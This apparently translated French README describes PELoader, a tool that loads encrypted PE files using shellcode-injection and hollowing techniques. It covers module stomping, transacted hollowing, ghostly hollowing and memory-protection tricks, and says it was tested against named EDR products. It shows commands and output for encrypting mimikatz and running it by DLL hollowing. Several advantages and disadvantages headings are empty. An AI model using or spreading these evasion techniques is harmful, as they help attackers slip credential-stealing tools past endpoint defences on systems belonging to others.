
Chargeur PE avec diverses techniques d'injection de shellcode
PELoader implémente diverses techniques d'injection de shellcode et utilise la bibliothèque libpeconv pour charger des fichiers PE chiffrés au lieu d'injecter du shellcode dans un thread distant.
Les techniques suivantes ont été implémentées :
Crédits : la plupart de mon travail est basé sur les PoC de @hasherezade.
PELoader a été testé sur Windows 10 avec Cortex XDR / SentinalOne / Windows Defender / CrowdStrike, et Windows Defender / CrowdStrike ont détecté les techniques de Transacted Hollowing. Les caractéristiques de chaque technique ont été testées avec un outil de scan mémoire Moneta de @forrest-orr.
Module Stomping (LoadLibrary)
Appeler LoadLibrary pour charger une DLL légitime. Écraser la DLL avec la charge utile.
Avantages

Module Stomping (NtMapViewOfSection)
Appeler NtCreateSection pour créer un objet de mappage de fichier (PAGE_READONLY) pour une DLL légitime, puis appeler NtMapViewOfSection pour le mapper au processus actuel. Écraser la DLL avec la charge utile.
Avantages
Inconvénients

référence au PoC de @hasherezade.
Transacted Hollowing
Un hybride entre Process Hollowing et Process Doppelgänging. Créer un fichier « invisible » dans la transaction NTFS et écrire la charge utile dans le fichier. Mapper une section au processus actuel et l'exécuter.
Avantages
Inconvénients

Ghostly Hollowing
Un hybride entre Process Hollowing et Process Ghosting. Créer un fichier avec un état de suppression en attente et écrire la charge utile dans le fichier. Mapper une section au processus actuel et l'exécuter.
Avantages
Cron
référence au PoC de @hasherezade.
NtMapViewOfSection (RWX-RW-RX)
Appeler NtCreateSection pour créer une section mémoire (RWX). Appeler NtMapViewOfSection pour mapper une vue au processus actuel (RWX). Appeler VirtualProtect pour changer la protection en RW. Copier le shellcode dans la section mappée. Changer la protection en RX et l'exécuter.
Avantages
Inconvénients

NtAllocateVirtualMemory (RW-RX)
Appeler NtAllocateVirtualMemory pour allouer de la mémoire (RW). Copier le shellcode dans la mémoire. Changer la protection en RX et l'exécuter.
Avantages
Inconvénients

Chiffrement AES de la charge utile
Convertir un fichier PE en shellcode avec pe_to_shellcode et chiffrer avec PELoader
cmd> .\pe2shc.exe mimikatz.exe
Reading module from: mimikatz.exe
[WARNING] This is a console application! The recommended subsystem is GUI.
[+] Saved as: mimikatz.shc.exe
cmd> set hagrid=enc mimikatz.shc.exe
cmd> .\PELoader.exe
argument: enc mimikatz.shc.exe
Encrypting File
Exécution PE
Définir l'argument dans la variable d'environnement « hagrid » et exécuter PELoader
cmd> set hagrid=cdll mimikatz.shc.exe.enc
cmd> .\PELoader.exe version
argument: cdll mimikatz.shc.exe.enc
Classic DLL Hollowing
[*] target dll: C:\WINDOWS\system32\aadtb.dll
[*] implant dll: mimikatz.shc.exe.enc
[*] Loading the DLL (using LoadLibary, classic DLL hollowing)...
[*] Overwriting the mapping
[*] Module Overloading finished...
[*] Executing Implant's Entry Point: 7ff8cf9d7578
[*] Executing Implant as EXE
.#####. mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( [email protected] )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz(commandline) # version
mimikatz 2.2.0 (arch x64)
Windows NT 10.0 build 19043 (arch x64)
msvc 150030729 207
mimikatz #